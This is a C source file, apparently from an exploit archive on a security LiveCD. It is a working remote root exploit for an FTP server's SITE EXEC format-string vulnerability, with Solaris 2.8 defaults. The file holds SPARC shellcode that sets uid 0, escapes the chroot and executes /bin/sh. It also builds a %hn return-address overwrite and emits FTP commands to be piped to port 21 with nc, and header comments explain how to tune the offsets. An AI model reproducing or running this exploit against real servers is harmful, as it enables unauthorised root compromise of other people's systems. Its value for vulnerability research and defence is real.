home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / ftpd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  9KB  |  325 lines

  1. /*
  2. **
  3. ** 12:40 11/10/00: Tool for either  attack or defense
  4. ** within an information  warfare setting. Rather, it
  5. ** is a small program demonstrating proof of concept.
  6. ** Default values for solaris 2.8 and inetd.
  7. **
  8. ** If you are not the intended recipient, or a person
  9. ** responsible  for  delivering  it  to  the intended
  10. ** recipient, you are not authorised to and  must not
  11. ** disclose, copy, distribute, or retain this message
  12. ** or any  part of it.  Such  unauthorised use may be
  13. ** unlawful.If you have received this transmission in
  14. ** error,please email us immediately at hert@hert.org
  15. ** so that we can arrange for its return.
  16. **
  17. **                                kalou <pb@hert.org>
  18. **
  19. ** Usage:
  20. ** 
  21. **    0xfdc (4060) bytes after the ret position, you have:
  22. **
  23. **     -HOSTNAME: anonymous/EGGSHELL
  24. **
  25. ** This of course begins on a 4 bytes boundary.
  26. **
  27. ** Check your hostname len. Align this with pad to have EGGSHELL on a
  28. ** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
  29. **
  30. ** Use '%s' format bug exploitation to look for this string in memory.
  31. ** (you have to eat 15 words out of stack).
  32. **
  33. ** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
  34. ** This substracted value is kept as the distance (-d).
  35. ** Result is your return address position (-w). Check it if you want.
  36. **
  37. ** This code substracts 8 to this address (sparc ret behaviour).
  38. **
  39. ** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
  40. **
  41. ** adding 0x870 to this value, I found my string.
  42. **
  43. ** offset should be useless. site_padding depends on the '/bin/ftp-exec/' 
  44. ** config stuff.
  45. **
  46. ** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
  47. **
  48. */
  49. /* Stolener  Foundation */
  50.  
  51.  
  52. #include <unistd.h>
  53. #include <stdio.h>
  54. #include <stdlib.h>
  55. #include <string.h>
  56.  
  57. #ifdef  __linux
  58. #include <getopt.h>
  59. #endif
  60.  
  61. void *build_format_string(int where,
  62.               int what,
  63.               int gout,
  64.               int eat,
  65.               int pad)
  66. {
  67.   int expected_len;
  68.   int what1, where1;
  69.   int what2, where2;
  70.   char w1[512];
  71.   char w2[512];
  72.  
  73.   int  i;
  74.   char *buf, *p;
  75.  
  76.   /* generate two %hn len : */
  77.  
  78.   what1 = (what >> 16) & 0xffff;
  79.   what2 = what & 0xffff; 
  80.  
  81.   fprintf(stderr, "what1: %0x\n", what1);
  82.   fprintf(stderr, "what2: %0x\n", what2);
  83.  
  84.   if ( what1 > what2 ) {
  85.     where1 = where + 2;
  86.     where2 = where;
  87.     what1 -= what2;
  88.   } else {
  89.     where1 = where;
  90.     where2 = where + 2;
  91.     what2 -= what1;
  92.   }
  93.  
  94.   fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout + 
  95.       (eat - 1) * 12);
  96.  
  97.   if (where1 < where2) {
  98.     what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  99.   } else {
  100.     what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  101.   }
  102.  
  103.   fprintf(stderr, "%08x: writing first %s\n", what,
  104.       (where1 > where2) ? "what2" : "what1");
  105.   fprintf(stderr, "what1 is %08x, what2 is %08x\n",
  106.       what1, what2);
  107.  
  108.   sprintf(w1, "%%0%dx%%hn", what1);
  109.   sprintf(w2, "%%0%dx%%hn", what2);
  110.  
  111.   fprintf(stderr, "1: %s\n2: %s\n", w1, w2);
  112.  
  113.   /* calculate expected len : */
  114.  
  115.   expected_len = pad + 12 + (eat - 1) * 8
  116.       + strlen(w1) + strlen(w2) + 1;
  117.  
  118.   fprintf(stderr, "len is %d\n", expected_len);
  119.  
  120.   buf = (char *) malloc(expected_len);
  121.  
  122.   if ( buf == NULL) 
  123.     return buf;
  124.  
  125.   p = buf;
  126.  
  127.   /* pad */
  128.   for (i = 0; i < pad; i++) {
  129.     *p++ = '.';
  130.   }
  131.  
  132.   /* retaddr, part 1 - first %hn*/
  133.   *p++ = (where1 >> 24) & 0xff;
  134.   *p++ = (where1 >> 16) & 0xff;
  135.   *p++ = (where1 >> 8) & 0xff;
  136.   *p++ = (where1) & 0xff;
  137.  
  138.   *p++ = 0x0f;
  139.   *p++ = 0x0e;
  140.   *p++ = 0x0e;
  141.   *p++ = 0x0f; /* so that the first %0(much)x eats something
  142.  
  143.   /* retaddr, part 2 - second %hn */
  144.   *p++ = ((where2) >> 24) & 0xff;
  145.   *p++ = ((where2) >> 16) & 0xff;
  146.   *p++ = ((where2) >> 8) & 0xff;
  147.   *p++ = (where2) & 0xff;
  148.  
  149.   /* eaters.. */
  150.   for (i = 0; i < (eat - 1); i++) {
  151.     strcpy(p, "%000012x");
  152.     p += 8;
  153.   }
  154.  
  155.   /* what1, what2 */
  156.   if (what1 > what2) {
  157.     strcpy(p, w1);
  158.     strcpy(p + strlen(w1), w2);
  159.   } else {
  160.     strcpy(p, w2);
  161.     strcpy(p + strlen(w2), w1);
  162.   }
  163.  
  164.  
  165.   return buf;
  166. }
  167.  
  168. void *ftp_escape(void *buf)
  169. {
  170.   void *boh;
  171.   char *p = buf;
  172.   char *r;
  173.  
  174.   boh = malloc(4096);
  175.   r = boh;
  176.  
  177.   while (*p) {
  178.     *r++ = *p;
  179.     if ((*p) == '\xff')
  180.       *r++ = *p;
  181.     p++;
  182.   }
  183.   *r = '\0';
  184.   return boh;
  185. }
  186.  
  187. void usage(char *me)
  188. {
  189.   fprintf(stderr, "Usage : %s \n"
  190.               "     [-w where (hexa)  ] /* ret position */\n"
  191.           "   0 [-o offset        ] /* or just offset, or both */\n"
  192.               "1010 [-d distance (hex)] /* distance to pass */\n"
  193.           "   2 [-s site_pad      ] /* padding to site_exec */\n"
  194.           "   3 [-p pass_pad      ] /* padding to eggshell */\n"
  195.           "   4 [-g gout          ] /* output size (200-) */\n"
  196.           "  15 [-e eat           ] /* pointers to eat */\n\n\n",
  197.           me);
  198.   exit(0);
  199. }
  200.  
  201. main(int argc, char **argv)
  202. {
  203.   char c;
  204.   int  where, offset, distance, gout, site_pad, pass_pad, eat;
  205.   char *buf;
  206.   char break_sparc[] =
  207.     "\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0
  208.     "\x82\x10\x20\x17" // mov 23,  %g1
  209.     "\x91\xd0\x20\x08" // ta  8                  ! setuid(0)
  210.     "\xae\x10\x20\x2e" // mov 0x2e, %l7
  211.     "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
  212.     "\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
  213.     "\x90\x23\xa0\x30" // sub %sp, 48, %o0
  214.     "\x82\x10\x20\x05" // mov 5, %g1
  215.     "\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1
  216.     "\x91\xd0\x20\x08" // ta 8                   ! fd = open(".", 0);
  217.     "\xa6\x82\x20\x01" // addcc %o0, 1, %l3      !
  218.     "\xae\x10\x20\x6b" // mov 0x6b, %l7
  219.     "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
  220.     "\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
  221.     "\x90\x23\xa0\x30" // sub %sp, 48, %o0
  222.     "\x92\x10\x21\xff" // mov 0x1ff, %o1
  223.     "\x82\x10\x20\x50" // mov 0x50, %g1
  224.     "\x91\xd0\x20\x08" // ta 8                   ! mkdir("k", 0755)
  225.     "\x90\x23\xa0\x30" // sub %sp, 48, %o0
  226.     "\x82\x10\x20\x3d" // mov 0x3d, %g1
  227.     "\x91\xd0\x20\x08" // ta 8                   ! chroot("k")
  228.     "\x90\x24\xe0\x01" // sub %l3, 1, %o0
  229.     "\x82\x10\x20\x78" // mov 0x78, %g1
  230.     "\x91\xd0\x20\x08" // ta 8                   ! fchdir(fd)
  231.     "\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7
  232.     "\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7
  233.     "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! ../.
  234.     "\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7
  235.     "\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7     
  236.     "\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ]   ! /../
  237.     "\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ]
  238.     "\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ]
  239.     "\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ]
  240.     "\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ]
  241.     "\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ]
  242.     "\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ]   ! .././..//..//../(ad lib)
  243.     "\xc0\x23\xbf\xf0" // clr [ %sp - 16 ]
  244.     "\x82\x10\x20\x0c" // mov 0xc, %g1
  245.     "\x90\x23\xa0\x30" // sub %sp, 48, %o0
  246.     "\x91\xd0\x20\x08" // ta 8                   ! chdir(".././../...")
  247.     "\xae\x10\x20\x2e" // mov 0x2e, %l7
  248.     "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
  249.     "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! stupido. anyway.
  250.     "\x90\x23\xa0\x30" // sub %sp, 48, %o0
  251.     "\x82\x10\x20\x3d" // mov 0x3d, %g1
  252.     "\x91\xd0\x20\x08" // ta 8
  253.     "\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6  ! no more mine.
  254.     "\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6
  255.     "\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
  256.     "\x90\x0b\x80\x0e" // and %sp, %sp, %o0
  257.     "\x92\x03\xa0\x08" // add %sp, 8, %o1
  258.     "\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2
  259.     "\x9c\x03\xa0\x10" // add %sp, 16, %sp
  260.     "\xec\x3b\xbf\xf0" // std %l6, [%sp-16]
  261.     "\xd0\x23\xbf\xf8" // st %o0, [%sp-8]
  262.     "\xc0\x23\xbf\xfc" // st %g0, [%sp-4]
  263.     "\x82\x10\x20\x3b" // mov 59, %g1
  264.     "\x91\xd0\x20\x08" // ta 8
  265.     "\x91\xd0\x20\x08"; // ta 8          
  266.  
  267.  
  268.  
  269.   offset = 0;
  270.   where = 0xffbeeed4;
  271.   distance = 0x1004;
  272.   gout = 4;
  273.   eat = 15;
  274.   site_pad = 2;
  275.   pass_pad = 3;
  276.  
  277.   while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
  278.     switch(c) {
  279.         case 'w':
  280.           where = strtoul(optarg, NULL, 16);
  281.           break;
  282.         case 'o':
  283.           offset = atoi(optarg);
  284.           break;
  285.         case 'd':
  286.           distance = strtoul(optarg, NULL, 16);
  287.           break;
  288.         case 'e':
  289.           eat = atoi(optarg);
  290.           break;
  291.         case 'g':
  292.           gout = atoi(optarg);
  293.           break;
  294.         case 's':
  295.           site_pad = atoi(optarg) % 4;
  296.           break;
  297.         case 'p':
  298.           pass_pad = atoi(optarg) % 4;
  299.           break;
  300.         default:
  301.           usage(argv[0]);
  302.     }
  303.   }
  304.  
  305.   where += offset;
  306.  
  307.   fprintf(stderr, "ret  [%x]:%x\n"
  308.             "ppad %d\n"
  309.           "spad %d\n"
  310.           "gout %d\n"
  311.           "eat  %d\n",
  312.           where, where + distance,
  313.           pass_pad, site_pad, gout, eat);
  314.  
  315.   printf("user ftp\n");
  316.  
  317.   buf = ftp_escape(break_sparc);
  318.   printf("pass %.*s%s\n", pass_pad, "xxxx", buf);
  319.   
  320.   buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
  321.   buf = ftp_escape(buf);
  322.  
  323.   printf ("site exec %s\n", buf);
  324. }
  325. /*                   www.hack.co.za   [3 January 2001]*/